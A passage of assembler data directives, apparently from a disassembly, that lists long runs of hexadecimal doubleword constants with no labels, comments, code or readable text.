0D3404DE7h, 427279B3h, 2412E083h dd 272939D9h, 3C92E0E3h, 0A1EFBE90h, 0B6D44106h, 82603A7Ch dd 1BE00060h, 0FC8791h, 0BF3BC5A5h, 457F28CFh, 548E3Ch dd 5BA28D72h, 78B49590h, 6EDF0FA6h, 0CB8144D5h, 0F4E60FA0h dd 0B007D01Dh, 0D388BDACh, 86573E00h, 5F900EDh, 0D7CBC7Eh dd 6E50A670h, 0CCF8FB88h, 0B0F824E2h, 223BD09h, 0AB0C2008h dd 1B5678Ah, 0EB85ECF7h, 0D18C7450h, 90AC5075h, 0C617678Eh dd 991F096Fh, 0D148CDD8h, 43C53136h, 4056A260h, 3BEA1094h dd 90A6182Ah, 45AF7200h, 665EF988h, 91366C2h, 0D2072181h dd 828A45B7h, 22B0E01Fh, 12D739F4h, 0ED2D5Fh, 431EC720h dd 610C9A58h, 78CAA590h, 997C41BDh, 4279CBA0h, 4508C418h dd 0C466F97Dh, 98AD4C80h, 0B893006Eh, 72BF6CDCh, 6F12FC4Ah dd 7004B5A0h, 4090D955h, 907C43F5h, 57DB0938h, 14007A49h dd 0CC0CA85h, 1080B530h, 160BA0h, 65123597h, 0AE505EF7h dd 84922B00h, 8C2AC96h, 0DFAA0166h, 0C94EA47Ah, 730680F3h dd 79D36A46h, 95D548E1h, 0C6F1960Eh, 92268022h, 2AD07E60h dd 0A6AC3Ch, 6FBF9E3Bh, 1E983964h, 0C07EE5D9h, 0FEBAAA5Bh dd 710E97B1h, 0E053D081h, 0C6A15879h, 305961E6h, 921EE350h dd 54002384h, 2DE4D5D3h, 0F6E6F84Dh, 6218C0CBh, 7BB25CB5h dd 0D588804h, 0A547CF26h, 0AE4D1035h, 0BFEC71DAh, 0A7406600h dd 392B56C6h, 0DCE30083h, 0BA1EC95Fh, 0D500C34Ch, 675971E5h dd 23F35h, 6BD0A2DAh, 2B9E1770h, 0C9696F32h, 588C80E2h dd 54FB4CAAh, 6CE945Eh, 0C21E118h, 0E80010A1h, 806F7FC3h dd 0F89349h, 0D8DC4197h, 422C6E6h, 9A922400h, 0E17B53FDh dd 0C52B0048h, 0F10A33C8h, 0DB00BECCh, 50E7D823h, 0E080E0Fh dd 27C9BCCEh, 0B1B57BA1h, 6AD4408Eh, 0DC00E8ADh, 0F68626E0h dd 0C6DF0E3Eh, 20A59808h, 0DCAF6400h, 0F59B117Ch, 20440003h dd 20FC960h, 47661AAh, 69CBFC00h, 48400E1Eh, 47C001D7h dd 0D0FDEB2Fh, 20F860A6h, 22184960h, 3C27B05h, 3DAF89ECh dd 88008D3Ch, 0C83B4B8Ah, 0E3EFA44h, 486DBD99h, 6321338Ch dd 0E734621Dh, 3792867Dh, 3E1889C7h, 0A30B1F3Eh, 68803594h dd 19BCD311h, 0ABB4071Dh, 2D2C02CFh, 0D18088C0h, 61E87E8Dh dd 0E61B08B4h, 23989FFAh, 5700CB90h, 5A44C434h, 7F808548h dd 20F1345Eh, 14B201E7h, 5B38D318h, 8A4B3027h, 9E766AE2h dd 0C46EAB0Ch, 150760F5h, 9093D486h, 0A9F4CE00h, 92FBE9BDh dd 1A56FF00h, 20B6647Eh, 737F00FEh, 14081B35h, 0EC729682h dd 0DFF2BC00h, 60A5E59Ah, 192700B0h, 0F43AB884h, 0E4012537h dd 73297242h, 23CD1CCBh, 0F469030h, 0B9E868ACh, 3DD3D580h dd 0DE3FBC3Eh, 48CE8074h, 95299372h, 0A678009Ah, 0DA1DED80h dd 1100544Ch, 0DDCAF0C4h, 0B45603h, 272A6995h, 62AE8068h dd 5778ED00h, 0C090F3BDh, 0EA1F00B4h, 0DC84BD5h, 2618A3E8h dd 0EC282476h, 0F0FC8Ch, 52129551h, 0D3D4594Ah, 207ED230h dd 0DF619780h, 0EC860050h, 0B0E6EF90h, 0BE00C17Bh, 0D61DA72Bh dd 1FAEF39Ah, 30A92794h, 926D2431h, 0A07C9870h, 5AE1F901h dd 0F4C5073Bh, 0F5EB7AC4h, 4D30B0E3h, 3069F89Bh, 0B118FE72h dd 0FCEC8336h, 5AF95C00h, 71C920D4h, 0A3AB3B18h, 0E26C007Bh dd 743F8E69h, 0B80753AEh, 2DC137Eh, 7C39F2F0h, 0B1680E80h dd 0D5C0BA9Bh, 0C64648F6h, 0EF25F00Eh, 0B40F52EEh, 0ED4E6092h dd 0D4A8A4h, 4B3C4596h, 69098742h, 9490AB00h, 84F9A7E1h dd 6EA80535h, 0C0A61932h, 921BD1C5h, 88CAEA03h, 0CCD9AC0h dd 2C725809h, 5B003010h, 184F3671h, 518BF9h, 8D5E27C1h dd 0B858460Fh, 0CAA46303h, 2172B117h, 95043529h, 0E4041105h dd 87624468h, 5D436148h, 0D0512292h, 8223CE0Fh, 0D378A04Ch dd 901F71A1h, 0CD290092h, 0F08598E9h, 7D0009DDh, 518316E8h dd 66933h, 62403534h, 2B0545DEh, 0ABCCD91Ch, 41F98EBDh dd 0A0ED0F63h, 9727FE9h, 27D00374h, 0B4F21FC7h, 3521F000h dd 8D1C5CA1h, 0EEAB9h, 87CF79CAh, 69AD7A99h, 3FCBB700h dd 0E5E076F0h, 0E6751D89h, 43C0066h, 3018876Ah, 4BAD3Bh dd 0BF281B51h, 30F797F9h, 0FF39FACAh, 0C2005BD5h, 907A58B8h dd 1EE4E3h, 0D82DCB99h dd 0A3283EA8h, 32BCC900h, 0FBFA5F93h, 7906246Fh, 0F0A00B6h dd 6883EE5Ch, 0B100F8FAh, 8CF6D3ABh, 0E85AB0h, 4BB524A7h dd 67E5507Fh, 0EC830128h, 1199AC1Dh, 3587E280h, 0C05FFEF3h dd 7BC41491h, 6C1FAADAh, 0CE8E9C41h, 2D0B23B5h, 336D9039h dd 0ECDC0090h, 80378B60h, 0B8F63DF1h, 561FF27Ch, 2BC2B0CDh dd 0C1433F50h, 6420D51Fh, 8D23098Fh, 8057E3ADh, 699C6784h dd 5DFA0132h, 3FE8147Ah, 821AF835h, 17613E00h, 0F6236F02h dd 0FEC1011Dh, 2740CAE8h, 8A1CC09Fh, 0DB571001h, 62C27277h dd 0DCD5FCh, 0B1C32DDEh, 0FE12E1A6h, 9AC14D00h, 513BA269h dd 70B500C5h, 5EE8EF62h, 181728F1h, 61029505h, 0E0FD8B07h dd 274AA55h, 219FDC1Fh, 8C60CA28h, 0FE0082B6h, 0AE19853Eh dd 7313875h, 0B969C292h, 0BB2631B7h, 0D2A050CAh, 17001437h dd 18C2CDF5h, 96DC97h, 60DF22FFh, 8D15BF0Eh, 0A2EB7300h dd 0B453A8B0h, 0D4E640h, 5B57FE01h, 59140C1Dh, 6B961201h dd 55EEC9B3h, 74D8A561h, 0D4EC008Fh, 859CE73Dh, 3AE65A58h dd 22B10618h, 0D9AB80h, 0A78421CFh, 0C0C1F795h, 0B0ACCA00h dd 0DBB5FCFDh, 4E34008Fh, 0A7C41E81h, 8201DE9Eh, 1C704690h dd 74D0A0B4h, 6C9A3E56h, 2B2F5A80h, 4E2795FBh, 0B4A5C600h dd 0BDC70498h, 0CD00A5Eh, 80B4F255h, 149295E5h, 220066A9h dd 16AE0364h, 6A44C7h, 4BF71027h, 0AD843CB3h, 0B88F1200h dd 62D39FDBh, 91E2A4h, 34A7322Ch, 7DE0D182h, 2DE9C610h dd 0EA7A6D01h, 0C4433E49h, 23000AB5h, 0BC6B19FCh, 5B69D1h dd 1676F28Eh, 9B2942CEh, 4EC56C00h, 3A4DCF3Dh, 2D971D33h dd 8A6BC0B1h, 63F27C94h, 3096B516h, 4FCEE01h, 3D4B05Dh dd 5AAD00D4h, 355C2A1Dh, 87A7301h, 0BF51D800h, 8010B07Eh dd 0C80300C4h, 4EFAAD0Fh, 0B93A7045h, 668A806Bh, 3E25D12h dd 0C76703F9h, 0F7ED91F1h, 0F04724A0h, 0C08D6B24h, 0D8EF3200h dd 58B4BBF5h, 0D02EFE02h, 2C6200BBh, 0AE58F2A2h, 863C9814h dd 9BE600F2h, 0A575566Dh, 44C60340h, 0D87C8D42h, 7F3FDFA8h dd 5784491Ch, 3C80E7C0h, 1CA14162h, 80B40FF4h, 0B208C72Ah dd 0C2008423h, 3F635647h, 59316Bh, 762C2154h, 0E3426574h dd 2B008CF2h, 9C22634Ah, 285CB4h, 0A9A2F6B7h, 6D3BC8B2h dd 6799D600h, 76EE9FEBh, 142E009Eh, 29F4BD22h, 4600D284h dd 0D926E7B7h, 0B060CAFDh, 0DF9D0457h, 8427D45Eh, 0D2CC07Bh dd 370034C7h, 0AAE2B64Ah, 25AD40h, 9EFCFBEAh, 2865A8B3h dd 7D8BC41Bh, 160FE0C2h, 2452005Dh, 0D6CEA450h, 1D0059FDh dd 5AE61574h, 0E7A136h, 0DE8CB82Ah, 0DDEFFBB6h, 84003898h dd 6F47E003h, 7536CA30h, 1B3E044h, 0DB3FFD4Fh, 20FA11EBh dd 1B01F709h, 0A87623C5h, 0DC40913h, 0B8BC0F43h, 57A0F1B3h dd 7DCCF3C9h, 31E2E00h, 0EA27B998h, 5A9B008Eh, 0B17B22ECh dd 7FF6327Eh, 8C9148h, 0ED4393CDh, 796402Ch, 42505CBDh dd 6BC0CF2Bh, 116478C5h, 55E44A0Eh, 32A0E007h, 1A64B15h dd 28E1218h, 0E4BA25A5h, 861C2CBBh, 3E561691h, 0A04D600Fh dd 3321550Dh, 587F38DDh, 3A033CC8h, 5687AE57h, 2A3F44C8h dd 0C16DE300h, 0F76C8441h, 4CB52766h, 0D40385D0h, 8CB72043h dd 9923B058h, 0ABE9030Bh, 84B19149h, 52E78898h, 0D36D6009h dd 1C6B8097h, 1C70BF1Dh, 65064Ah, 94CE40A4h, 0E019695h dd 4347BB9Eh, 3080D48Eh, 7F6B67F3h, 6A00B138h, 0FB8DB25Bh dd 0C14AA9h, 0E6ED5C22h, 90577658h, 0F7619A00h, 0B1F0BD6Bh dd 9325003Eh, 2124ACADh, 11000E5Dh, 1E58FF65h, 971E370h dd 926FD98Ch, 6DD8D000h, 0DF001011h, 0A067F516h, 934A15h dd 0AA3DFB60h, 0DDC02AAFh, 7CB16D00h, 547E5BFCh, 0C12F00D4h dd 0E4E7CD9Bh, 0D00C581h, 9DF5CF75h, 2AB91F33h, 1E044ADh dd 2F80C9B2h, 0E84F0AA8h, 0C20356D3h, 0B6DDB7Fh, 0EF80F5CCh dd 0A3690D6h, 4BC1A440h, 0BB2900D4h, 67DC54F9h, 0F8CCB100h dd 2572D053h, 23131DBFh, 1DB707A5h, 3BB3515Ch, 0FDE430F2h dd 807E393Dh, 257641E9h, 7BD6E7A2h, 8BD800C1h, 13FF3C55h dd 0C200616Dh, 30FD48A8h, 256CC0h, 0A1AC140Eh, 70A72F0Ch dd 5CDAE4F1h, 0B8B00907h, 51B55539h, 8433BC00h, 0B874CE30h dd 0B7B4006Ch, 8521B912h, 0DC00826Fh, 0ED52E289h, 0F4CF0874h dd 0C5A00011h, 0FD992173h, 600AE0Eh, 0DA91ED32h, 3BA426h dd 798C520Ch, 19E1CADh, 5C770F01h, 0C32A312Fh, 747B8820h dd 46D40321h, 1644AA30h, 533582C8h, 0A5DF8400h, 6C23886Dh dd 0ED930003h, 218C9AEBh, 0B1FCFA4Eh, 40C6CA01h, 44A2F35Dh dd 20E054CCh, 0E5149C9Dh, 8E8C759Eh, 0DB6260A2h, 3A0B45h dd 94725F95h, 1202FD4Bh, 0D3733B00h, 815C15F0h, 9C11006Bh dd 0DF5FFBE7h, 0FE00F150h, 718BD9DDh, 0A0BE3h, 85468D2h dd 4EF58D19h, 9B1E2100h, 12CF13B5h, 0D7BB1C82h, 0FFEEC3E2h dd 0C1C05A2Ah, 5D38D53Eh, 8D5E0F8Eh, 2708EFC9h, 71476573h dd 4D170A30h, 6A29003Eh, 0E650E197h, 0B601A3D8h, 0F24085DBh dd 9C60FD11h, 3BEB0027h, 0CCCF6821h, 4238DC18h, 6E1981F3h dd 0B3846F5Ah, 3A00D828h, 83244F66h, 1B500851h, 2C005DA0h dd 8053F7C6h, 229FC1Dh, 0C26FABB5h, 0E4C071E0h, 7600D4A4h dd 1F9F7992h, 0F8C144CFh, 0DFE501D6h, 0F2111AD1h, 0F683434h dd 80482C25h, 0D341C910h, 0E9CA0708h, 46833BEDh, 3010294Dh dd 37002C61h, 38CAE672h, 0FA51356Dh, 3F18869Dh, 0B9C946h dd 0B5F6432h, 23D34F8h, 0C8358EA0h, 2C10A600h, 3E458A21h dd 0F0627DA2h, 8B01006Ah, 0E8C7C8E6h, 0C9009B9Eh, 302339B7h dd 0C0833D4Dh, 0DADF02A1h, 1D038BE5h, 86820146h, 0FA03E0D3h dd 0F2C00D0h, 0B05551DDh, 32090444h, 871FE982h, 0B4EE358Ch dd 90F12154h, 0B0EE307Ch, 28ADF81Eh, 54104E3Dh, 0A0397030h dd 18A58Ch, 0C15119B1h, 17300BCCh, 0CDC37800h, 1D3BF2E5h dd 0C9500B8h, 0FA221F8Ah, 0F70BD0D9h, 806CBB0Fh, 0C0B8C96Dh dd 928007Dh, 57297534h, 0D500114Dh, 29E2ECAh, 0E5AB66h dd 9D2FAAC8h, 87E9D0F1h, 2C5C0107h, 7C91BF1Eh, 0A0808F74h dd 0D43BF436h, 6D1D7A05h, 837F1592h, 1C33A883h, 0A04EC2F7h dd 6A73ADE0h, 166815F9h, 2700A846h, 982D33A0h, 4001E86Bh dd 0BE1CDE4Eh, 22C07A9Ah, 0C8A11EFCh, 37580CBDh, 86002A49h dd 0F1B5176Fh, 2C32F3BBh, 1629B22h, 0A263B07h, 0DDD42012h dd 0FBE1B30Ch, 30953938h, 0FA798D44h, 12001090h, 6B641A8Bh dd 244BEE25h, 1CE3509Dh, 187A0A38h, 669A40D8h, 5200DAC7h dd 4113AD8Eh, 95874Dh, 0EA6251D2h, 0B0C6469Eh, 88006C9Ch dd 6D90948Ah, 1AF20Dh, 81384712h, 373DCA3h, 33727400h dd 11F6A5C8h, 0C08A305Bh, 0CAE0ACA1h, 76C56480h, 61A83D17h dd 47B18E9Eh, 308FD8DBh, 18C75398h, 8D9E3Eh, 5DF3AA3h dd 0F27972h, 0F0652A27h, 0B52EF11Eh, 0F1AAE00h, 839BE76Bh dd 0A0130036h, 0CDF08EA5h, 2B00602Eh, 2128FD85h, 3DE13AEFh dd 7477060Fh, 0E79A00BBh, 0C3D725ECh, 4B01ED22h, 181BF953h dd 0E0E32E31h, 1E4FACBh, 358327FEh, 0C02D1D9Ch, 5E00CE33h dd 3D5312EFh, 31C8D7D3h, 6129E2E8h, 0CDE0019Ah, 7B16FDCh dd 4B4F4C06h, 472303Dh, 0DFB03A6Ah, 9C1FE000h, 335CDF59h dd 0CECC0710h, 2035652Eh, 0ADA83F13h, 988A9A00h, 4BD1F7A2h dd 15D81D38h, 5432C0BDh dd 5FC71CD9h, 77D7283Bh, 0F61ABA0Eh, 674E40F3h, 38604B6Fh dd 91008390h, 810213EFh, 850025CBh, 77764994h, 0FD2D9Ch dd 0F197F4C2h, 17C4D2EBh, 456E1D00h, 0EC21D63Ch, 5570F156h dd 4865F49Bh, 8B3AF4BFh, 3B479983h, 9A8142D5h, 0F3AFD477h dd 4D077E01h, 0CA5D0139h, 0C86DAC43h, 0C7DE59h, 675B9F8Bh dd 32BDB4D2h, 860DB00h, 58CAB6A4h, 0CF2D00C5h, 5F675D47h dd 5100E0B3h, 17D4D3F0h, 76736595h, 76C10744h, 0E084E132h dd 0DCB41C24h, 0D9078A71h, 8C971D45h, 0F0070BA3h, 1F0FF66h dd 4E826B76h, 0DBE8ECB9h, 0EB0CEEA8h, 0D3136112h, 399A6E00h dd 4A1068E1h, 0F8B8A1h, 0AD1AB636h, 39E6F607h, 0E080F5B1h dd 0DDF3FAA3h, 43FEF9A4h, 0B9A23100h, 0EDB830B0h, 6066001Ch dd 0F0360E2Fh, 81093AC9h, 0BF27DE6h, 4A5901ADh, 34202778h dd 0DF9B00FEh, 8E8B9EBFh, 0D5004E4Ch, 344B1DFFh, 0FF250F4h dd 0C5A437F3h, 0B9EB4220h, 0F6010DD0h, 8A6C3C29h, 83C0CD75h dd 0D450FBE0h, 33396B8h, 58E31B0Fh, 0DB065DAh, 8800CCB2h dd 5C261D6Bh, 90310605h, 9DC90020h, 79C759FCh, 8700FF58h dd 0C6E0C51Ch, 2675543h, 0A8465712h, 94605184h, 5F01660Ch dd 537BB527h, 2080148Dh, 629A0ABBh, 64717860h, 69229304h dd 0A880E89Fh, 179029F5h, 1EB9FAE7h, 0ED70C0E5h, 59199747h dd 55373400h, 7B42D4Dh, 6DFD0014h, 5B0DE36Ah, 0A2C113Fh dd 0C800AA0Ch, 0D638DA7Eh, 99DF6ABBh, 0F48200EDh, 0BFA19FA8h dd 0ADC0800h, 0F73527DDh, 668A008Bh, 838757D2h, 8E009329h dd 0B64DE56Bh, 0E6EAE2BCh, 0B273071Dh, 3D23C6Ah, 69B0CA11h dd 0E300913Bh, 7545EC47h, 38492A82h, 933036BEh, 16FE8918h dd 9EB3C63Ah, 2D40210Eh, 51B8C77Fh, 84E000D8h, 0A8C8BAEBh dd 0A601DA1Ah, 0E70D491h, 8420D1D9h, 3D85003Ah, 65DE1EE6h dd 0C0737FF1h, 7A13700h, 864A73Ch, 4A2100B7h, 5536B047h dd 28002BF3h, 17E686AEh, 73788CF5h, 4A480082h, 4D3571AAh dd 7A00E4F1h, 0CF79CEDDh, 7836A969h, 3794172Ah, 0CC50043h dd 8322D76h, 0F3F96400h, 0EBE51FB5h, 0EF280059h, 7F1025FEh dd 99004234h, 24CCDE70h, 13A9E8D2h, 0D0E453h, 2226C384h dd 9A05AA8Dh, 0F366B7B2h, 3BF7C040h, 0BDB97Ah, 0E37C962Ch dd 4658EDC4h, 0A5283500h, 1073ACA1h, 817A125Eh, 801EC5h dd 1ADD9A04h, 0B30014CFh, 7D41B536h, 1C959DECh, 0ACCB7363h dd 3E5F003Ah, 0D376C66Bh, 8558F800h, 30F631B1h, 2F9700DAh dd 327DE286h, 901CFE4h, 0F3EB182Eh, 26F18B73h, 0A3E845FDh dd 0C523077Fh, 0E061ED48h, 8051F611h, 0E4389900h, 0E7195A53h dd 24A900B1h, 0B87CAF22h, 4898EB23h, 2C00F876h, 0F3DB7245h dd 6190BBh, 4748CC3Ah, 0C760BC91h, 6D787892h, 515C8200h dd 0FCEBF21h, 3EE30138h, 0AC168172h, 43DAFC92h, 0CDDC2200h dd 1ADE510h, 4AC14832h, 59FAB05Eh, 217F4F6h, 109F2BFh dd 0B878031Eh, 2001B524h, 56AB639Dh, 9D705EE9h, 71C5002Ah dd 94901034h, 0FB1C31F3h, 2E004B0Dh, 5426079Fh, 0A93903CEh dd 8AD014B9h, 0BB81DFD8h, 0B3A8ED00h, 7A422DFCh, 0AB31004Fh dd 5D17C304h, 55002C2Eh, 0A620A439h, 0F89CD673h, 3D9C98B3h dd 0E100E877h, 7DB9499Bh, 0D0005F11h, 0EEDD932Ah, 99EBE9h dd 0DBF6DEB4h, 0B53A35BCh, 9BFA3D0Eh, 0F8DF80ACh, 2D1CC4h dd 0ED110F30h, 0D17EF425h, 0C84005E6h, 248276FBh, 9CC91Bh dd 0AD3D467Ch, 3BFAE2D2h, 418C5201h, 4A989D78h, 0E91D6D4h dd 0E46E4BC3h, 6B127940h, 0FD00BD9Fh, 0A95A7BBAh, 3AABC56Ah dd 0D985D37Eh, 80CC021Ah, 3573DEB4h, 28EBD700h, 56E9C3Ch dd 71B10030h, 0E0D93D54h, 0CD3F4B3Eh, 9DFC8017h, 0C9F7ADEEh dd 0A7CB00BBh, 9C8378C7h, 0E40FF5DCh, 8072494Ah, 2ADB6E13h dd 3D7B037Ah, 3E8A030Ch, 3074CCB0h, 0C3CE791Ch, 2024F7C9h dd 0BEF22AACh, 0EBFF02A0h, 0CB27AF62h, 6038AFC0h, 0D678D100h dd 66923B16h, 95D0070Bh, 0F274AA6Dh, 6860027Fh, 1A00B1A7h dd 68A8E5E6h, 0BA05F20h, 21ECB26Ah, 12A66CA0h, 893CB529h dd 41A3072Eh, 812EB22Dh, 0B492CBCDh, 91C1B447h, 0CFD0DD2Eh dd 2DE4304Bh, 4287BBA1h, 70DC3748h, 49CC7503h, 93C4FDF8h dd 39C8D092h, 37D900FAh, 596BDDF2h, 0C160FA3h, 6511412Ch dd 3D992124h, 0A6C48580h, 4E2487CDh, 2E3A5018h, 1839A329h dd 1109F82Bh, 0F100303Bh, 9ED26502h, 30686787h, 0D748290Dh dd 41703C1Ah, 0E1B08DE8h, 0EEB20C80h, 0C4F62170h, 1F18490Bh dd 0ECD4803Fh, 17223A6Eh, 0F83BF6h, 0C92C39D8h, 7D3FB1E0h dd 73468049h, 0EDEE2680h, 3E7B00AFh, 0EB86691h, 200FA5E4h dd 4E8FC33Ah, 6C438311h, 831E98EBh, 0A39F007Dh, 25CC4FD5h dd 7805DB3Ch, 0F48E8F57h, 0F9719180h, 0A0B0B8h, 455E1A32h dd 33256366h, 472BCE00h, 7D5BB215h, 7C2F1996h, 4EC3C9C0h dd 4DF0EF04h, 11C0C511h, 0B583BB3Dh, 0EF5D0063h, 2884A6F6h dd 0F09D27FDh, 5ED933FAh, 37E1B318h, 0D5D611FEh, 23D31F00h dd 924B48C3h, 0F56006D2h, 506212A3h, 0E7013C80h, 0CBE88A00h dd 91BF3A71h, 0C0590763h, 6347C56Dh, 0A4E07534h, 0A5038754h dd 0D21ED0FDh, 0AFFC0A3h, 0BADF0E7h, 33C9052Dh, 19FB000h dd 0D77C2611h, 7AD2210Fh, 64423F3Fh, 816BB574h, 0F0B3F240h dd 0A8D47C65h, 22E87Dh, 0E17B41BEh, 10D754D6h, 0C19F210Ch dd 78CBC812h, 80E78322h, 0EF26A2D8h, 60013D73h, 5E054BA0h dd 80DCCFB1h, 0C34A0A1h, 0A3F40665h, 0F94C25C0h, 0B1F0EDFAh dd 7037E5Ch, 0D63D2226h, 0F0661BC0h, 9946000Ch, 0A624D501h dd 7E79C096h, 10454A00h, 0A48C5BEBh, 0F80DB852h, 0ED4C0027h dd 0E8189E1Dh, 0C9553D70h, 0F0E03AACh, 323A2AEAh, 83EAE8h dd 81D60A48h, 1F49EE9Eh, 6860FCA8h, 0AA7F1318h, 37BE1AC0h dd 5080FCE1h, 0EFA32894h, 6CB04C0Ah, 2E0298FBh, 85F1B848h dd 2461F7B8h, 0AD087AE3h, 541CAE88h, 0EBB79064h, 3F0FC7F4h dd 70002280h, 293FDF2Dh, 0CD005CA2h, 0D099D332h, 4E1E67Ah dd 0BCBA0E8Bh, 0BE048006h, 6A51AAFCh, 53F8CCFCh, 0E55F7800h dd 0FBB2D455h, 5A140121h, 2D646252h, 98C3DCA3h, 0F8F8EFF0h dd 18B00E51h, 42849B58h, 0D0101746h, 839C3C40h, 12F3DEF4h dd 21FB60B3h, 40658A74h, 1E4EAF0h, 0BCCE852Ah, 97B3A90Eh dd 2F4818ADh, 98A34Fh, 906AD9B0h, 0EDD4209Dh, 0CB5A2518h dd 9B90C18h, 24D78D88h, 5289580Eh, 20436800h, 0C10999EDh dd 2015162Dh, 79F0D828h, 24917CB3h, 4774EDA2h, 0A8B00A1Ch dd 0F44B5690h, 7D5351DCh, 1D4A257Eh, 2DD43801h, 0EC240576h dd 195D1DA6h, 0EA338339h, 0E044CBA7h, 0ED0009FCh, 0A6F40CFEh dd 2B54210Dh, 834FABAh, 0F460ABE7h, 77BA119Eh, 29C66AFFh dd 0B79280CCh, 98C005D5h, 7CEB49h, 15B902B4h, 0CD3B51h dd 4D4AF481h, 43E7BBEFh, 169D8B09h, 3A30A07Eh, 8CA3DEh dd 7B4EA2Ah, 0F6492D37h, 0E1813F01h, 39ED5106h, 1888E0A0h dd 8899F24Bh, 6A13A862h, 80243B8Fh, 69D25082h, 0E850CA60h dd 509B6F4h, 0B7FFF24Fh, 0C7C42713h, 0E43EC060h, 0AE0010B4h dd 0BE3BBD28h, 898EACh, 0C8A775B2h, 42F13F1h, 23B881F9h dd 0C3AB0780h, 0A2009438h, 0B93019EEh, 70C0D02Ch, 1D33426Dh dd 0C4454CA1h, 84442100h, 0D930109Ch, 0C47A0578h, 740F7DE0h dd 0E207F0Ah, 68A667A1h dd 0FD28AD26h, 713DBC08h, 110070FBh, 968D9044h, 0E502A1B1h dd 1F82B0ECh, 18934124h, 988319A2h, 9C7CE538h, 0EE002375h dd 6B854E4Ah, 721D00BAh, 4673B7A1h, 47243169h, 8401743Dh dd 0BFA3B47Ch, 782083C2h, 248BF075h, 482D003Eh, 13769F41h dd 0B0608CA1h, 0ADC50CB1h, 3FBE3C60h, 7B84E383h, 83F0BF8Dh dd 0AC777562h, 8C07AA74h, 0C998FC1Fh, 60DF22D7h, 54339472h dd 5A30C06Ch, 1E49B13Eh, 2B4C757Ch, 75B3E02h, 0B8A69851h dd 0A9236650h, 89150F46h, 11404544h, 1FAD4AEFh, 74F8C760h dd 305ACA2Ch, 2110BE29h, 0B800C99Bh, 0A58DAD56h, 261843h dd 24A84048h, 0A49B102Dh, 0F29C2E00h, 0B0AD029Dh, 29170790h dd 0C0F642A6h, 7FAF81ECh, 0AE72E1E0h, 8B0BE53h, 25AA8Fh dd 85F63975h, 2270CD7Ch, 0FA004DECh, 8B7F6FAFh, 6859D8A3h dd 0F4908Ch, 0C53DDBA5h, 0DC307E1Ah, 0CA9A1885h, 2C101414h dd 7575B079h, 3ED40B93h, 5103240Dh, 410AF748h, 0BCEC9402h dd 97A1B00h, 0B7A62Bh, 74ACB512h, 4A91731Eh, 3AF23Eh, 90B2A0F7h dd 60C58E4Dh, 80B8681Dh, 5C2811A2h, 721C8C57h, 418C493h dd 7E12511h, 0D898F64Ah, 195466A7h, 0AA11C506h, 0E131E376h dd 0E7B41710h, 80F3980Ah, 2600A330h, 5E89904Dh, 3F4983Bh dd 85AF3D11h, 5A078A10h, 77E77834h, 1F9169E0h, 0DB9F004Ch dd 0D60CDE18h, 613AE92Bh, 7434000Ah, 3B264BD8h, 2CFC1E97h dd 840079DDh, 0DE19A2D6h, 2018870h, 22979892h, 0FC54BD79h dd 411C83BAh, 9480BCA3h, 83128AFAh, 2440C0A7h, 1DB63891h dd 0A5BE00C7h, 0ADD13074h, 0A0547981h, 8B1DA7D4h, 3035FE7Fh dd 82C03450h, 9086FFD8h, 48E11DE8h, 487C8C0Ch, 0A28C6830h dd 0A090AB21h, 5B75E113h, 0BA0448h, 34ECD533h, 0E9004FDFh dd 0E6572DF6h, 3CC1F21h, 8F3AA1ACh, 1040A0DDh, 3D07B514h dd 0E4E95512h, 8A50FED0h, 2320C01Eh, 0D78C2CB1h, 6C0C3300h dd 50F18FD8h, 0B43B4057h, 50773A37h, 150CCF34h, 90627C48h dd 231E9B28h, 40329E92h, 21FA608Dh, 0F0DDC80Ah, 4C172680h dd 9C1E99E9h, 10352700h, 0F9A1AAh, 9C2260DCh, 0E6BD343Dh dd 0A3ED0C00h, 2F4036EAh, 876F0715h, 907696A1h, 0B4553AAEh dd 452A900h, 869F0759h, 6B7DBCh, 0A2E16ACAh, 1C1A4CD6h dd 1EEA760Fh, 16478001h, 3A4ACBF2h, 7CBCA0h, 0EBC7B1E7h dd 236F1F34h, 22315301h, 41C824EEh, 3880A621h, 14CC25A3h dd 4054AEDDh, 2900C680h, 0D5ED043Ah, 0AF089Ch, 331D9ADAh dd 771A8DDh, 0DB5DF31Eh, 770B0C60h, 57209B96h, 2C46A00h dd 0B5D0EE30h, 0DC531FB6h, 7859552Dh, 7CABC600h, 0D4EEC7B9h dd 0CE83E818h, 2A247278h, 3EC23E4h, 0AF9B35EBh, 0CC532D9h dd 51F1BC4Ch, 450EA318h, 0F674350h, 0FFF416A5h, 0E934D982h dd 5C3208D7h, 1F40C618h, 0A3EF1E8Fh, 14670023h, 21E57CB0h dd 0DD02AAF2h, 0F3C0F4FAh, 0BD0C48AEh, 510C0334h, 0D48F33E9h dd 89033ABBh, 0EBEF87AEh, 0FB59C949h, 0A1C36C50h, 0A46754B8h dd 8024009Fh, 2C4A7520h, 46522E2Fh, 0B09432BCh, 499083E7h dd 842CE882h, 0D92E0ACDh, 0F0185585h, 5F3A70AEh, 0D72E0059h dd 2FCE7F4Ch, 0E151068Ah, 0F0EABF30h, 3AD9CC00h, 0FB52D8A0h dd 4143005Eh, 0EB629F2Fh, 58006E23h, 26B68995h, 1542EAD8h dd 80CDC4A5h, 8AE63400h, 8FB339E5h, 4008D22Ah, 564B7700h dd 0F5591472h, 0E8830AB1h, 83E49501h, 0EB6B0E1Fh, 8A8C5A87h dd 80DCB829h, 0EB256A1h, 0B430E7ECh, 0D66F3181h, 0FBA50E36h dd 3CAFBAEDh, 882FB0C6h, 2CB348h, 6627DA15h, 386A53h, 3C957EC3h dd 0E736D4E9h, 2E48841Ah, 0C66484F0h, 26E81420h, 6AF33709h dd 0E1582E15h, 0B450CBF5h, 0F602C20h, 0D84EB089h, 0B9C1A380h dd 189168D3h, 0A4EE5D0Ah, 29A8E180h, 0B45197h, 0E460C02Eh dd 2ADC4EAFh, 0ABF0A014h, 59C30190h, 91794914h, 8CA3084Ch dd 894DA903h, 0E79A04A2h, 1A79C030h, 5FC6122Dh, 0D88C00DDh dd 0B955992Ah, 8F2919E8h, 803D2082h, 9AAE2D4Dh, 26C923EFh dd 708A7Ch, 2FD16D57h, 6172EBE9h, 4552891Eh, 8024D509h dd 0A6ECC3A0h, 1EF0A833h, 0BBB3184Fh, 860E181Dh, 70DC803Eh dd 0A0B96F1Ch, 0E94BCBC3h, 1931021Eh, 1822B255h, 0FC84F042h dd 13E74082h, 98CFDEADh, 0C6C044A4h, 4AE8E650h, 897EFD1Dh dd 0A0548789h, 0AE2A61E4h, 0E88001A6h, 0E5AF5B90h, 40DC2120h dd 6CEDE704h, 0C413942Ah, 8321613h, 9CA27000h, 90EDE29Fh dd 